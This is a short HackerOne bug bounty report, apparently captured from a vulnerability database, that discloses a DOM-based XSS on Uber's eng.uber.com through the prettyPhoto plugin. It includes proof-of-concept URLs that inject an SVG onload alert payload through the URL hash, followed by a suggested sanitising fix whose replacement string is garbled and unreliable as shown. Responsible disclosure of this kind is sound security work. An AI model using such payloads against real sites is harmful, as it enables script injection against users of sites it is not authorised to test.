Lucene search

K
hackeroneE3xpl0itH1:125498
HistoryMar 23, 2016 - 7:14 p.m.

Uber: Dom Based Xss

2016-03-2319:14:25
e3xpl0it
hackerone.com
27

Hi. found dom xss on this subdomain eng.uber.com. you are using a vulnerable plugin prettyPhoto…
This XSS will work in Firefox,Chrome - Google and IE last version ! And this is very dangerous!
POC
Firefox vector
http://eng.uber.com/#prettyPhoto[i]/x,<svg/onload=alert(document.domain)>/x
POC
Google and IE
http://eng.uber.com/#prettyPhoto[gallery]/1,<a>/

Add screenshot
How to fix the vulnerability,upgrade the plugin or add the filter
hashIndex = parseInt(hashIndex)
hashRel = hashRel.replace(/([ #;&,.+*~':"!^$=>|/])/g,β€˜$1’);